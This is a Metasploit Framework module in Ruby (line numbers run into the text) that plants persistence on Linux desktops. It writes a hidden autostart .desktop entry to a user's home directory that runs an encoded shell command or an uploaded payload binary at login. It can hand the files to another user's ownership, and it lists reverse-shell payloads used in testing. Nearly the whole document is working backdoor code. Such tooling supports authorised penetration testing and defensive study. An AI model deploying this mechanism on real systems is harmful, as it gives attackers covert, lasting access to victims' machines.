Path: blob/master/modules/exploits/linux/persistence/autostart.rb
32103 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::FileDropper12include Msf::Post::Linux::User13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/linux/local/autostart_persistence'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Autostart Desktop Item Persistence',23'Description' => %q{24This module will create an autostart .desktop entry to execute a payload.25The payload will be executed when the users logs in.26Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.27The following payloads were used in testing:28- cmd/unix/reverse_netcat29- linux/x64/meterpreter/reverse_tcp30- cmd/linux/http/x64/meterpreter/reverse_tcp31},32'License' => MSF_LICENSE,33'Author' => [ 'Eliott Teissonniere' ],34'Platform' => [ 'unix', 'linux' ],35'Arch' => [36ARCH_CMD,37ARCH_X86,38ARCH_X64,39ARCH_ARMLE,40ARCH_AARCH64,41ARCH_PPC,42ARCH_MIPSLE,43ARCH_MIPSBE44],45'Payload' => {46'BadChars' => '#%\n"'47},48'SessionTypes' => [ 'shell', 'meterpreter' ],49'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart50'Targets' => [['Automatic', {}]],51'DefaultTarget' => 0,52'References' => [53['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],54['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],55['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],56],57'Notes' => {58'Stability' => [CRASH_SAFE],59'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],60'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]61}62)63)6465register_options([66OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),67OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),68OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),69])70end7172def check73print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')74# https://unix.stackexchange.com/a/23775075return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')7677CheckCode::Detected('Xorg is installed, possible desktop install.')78end7980def target_user81return datastore['USER'] unless datastore['USER'].blank?8283whoami84end8586def install_persistence87print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'88user = target_user89home = get_home_dir(user)90vprint_status('Making sure the autostart directory exists')91cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists9293name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)94path = "#{home}/.config/autostart/#{name}.desktop"9596print_status("Uploading autostart file #{path}")9798autostart_stub = [99'[Desktop Entry]',100'Type=Application',101"Name=#{name}",102'NoDisplay=true',103'Terminal=false'104]105106if payload.arch.first == 'cmd'107write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))108else109payload_path = writable_dir110payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"111payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)112payload_path << payload_name113print_status("Uploading payload file to #{payload_path}")114upload_and_chmodx payload_path, generate_payload_exe115write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))116@clean_up_rc << "rm #{payload_path}\n"117end118119if whoami != user120cmd_exec("chown #{user}:#{user} #{path}")121unless payload.arch.first == 'cmd'122cmd_exec("chown #{user}:#{user} #{payload_path}")123end124end125126print_good("Backdoor will run on next login by #{user}")127128@clean_up_rc << "rm #{path}\n"129end130end131132133